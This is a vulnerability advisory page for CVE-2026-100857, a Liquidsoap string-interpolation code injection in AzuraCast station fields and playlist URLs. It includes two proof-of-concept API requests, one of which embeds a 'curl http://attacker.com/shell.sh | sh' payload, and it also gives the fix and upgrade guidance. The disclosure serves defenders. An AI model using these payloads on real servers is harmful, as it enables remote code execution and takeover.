Loading...
Skip to main content

CVE-2026-100857 — Vulnerability in azuracast/azuracast — CVE Details

HIGH

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

Published March 9, 2026Updated September 27, 2026Source: osv

Summary

## Summary AzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function. ## Root Cause **File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345 ```php public static function cleanUpString(?string $string): string { return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? ''); } ``` This function only replaces `"` with `'` and strips newlines. It does **NOT** filter: - `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - `\` — Backslash escape character Liquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands. ## Injection Points All user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config: | Field | Permission Required | Config Line | |---|---|---| | `playlist.remote_url` | `Media` | `input.http("...")` or `playlist("...")` | | `station.name` | `Profile` | `name = "..."` | | `station.description` | `Profile` | `description = "..."` | | `station.genre` | `Profile` | `genre = "..."` | | `station.url` | `Profile` | `url = "..."` | | `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := "..."` | | `backend_config.dj_mount_point` | `Profile` | `input.harbor("...")` | ## PoC 1: Via Remote Playlist URL (Media permission) ```http POST /api/station/1/playlists HTTP/1.1 Content-Type: application/json Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION> { "name": "Malicious Remote", "source": "remote_url", "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream", "remote_type": "stream", "is_enabled": true } ``` The generated `liquidsoap.liq` will contain: ```liquidsoap mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream"))) ``` When Liquidsoap parses this, `process.run('id > /tmp/pwned')` executes as the `azuracast` user. ## PoC 2: Via Station Description (Profile permission) ```http PUT /api/station/1/profile/edit HTTP/1.1 Content-Type: application/json Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION> { "name": "My Station", "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}" } ``` Generates: ```liquidsoap description = "#{process.run('curl http://attacker.com/shell.sh | sh')}" ``` ## Trigger Condition The injection fires when the station is restarted, which happens during: - Normal station restart by any user with `Broadcasting` permission - System updates and maintenance - `azuracast:radio:restart` CLI command - Docker container restarts ## Impact - **Severity:** Critical - **Authentication:** Required — any station-level user with `Media` or `Profile` permission - **Impact:** Full RCE on the AzuraCast server as the `azuracast` user - **CWE:** CWE-94 (Code Injection) ## Recommended Fix Update `cleanUpString()` to escape `#` and `\`: ```php public static function cleanUpString(?string $string): string { return str_replace( ['"', "\n", "\r", '\\', '#'], ['\'', '', '', '\\\\', '\\#'], $string ?? '' ); } ```

Advisory Timeline

  • First published March 9, 2026 (217 days ago).
  • Last revised September 27, 2026 — 202 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update azuracast/azuracast to 0.23.4 or later
composer require "azuracast/azuracast:^0.23.4"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
azuracast/azuracast
packagist
0.10.0, 0.10.1, 0.10.2, 0.10.3 (+74 more)0.23.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-100857?
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-100857?
CVE-2026-100857 affects azuracast/azuracast. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-100857 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-93fx-5qgc-wr38

Related CVEs

  • CVE-2023-2531
    CRITICAL

    AzuraCast missing brute force prevention

  • CVE-2026-100856
    HIGH

    AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

  • CVE-2026-42605
    HIGH

    AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies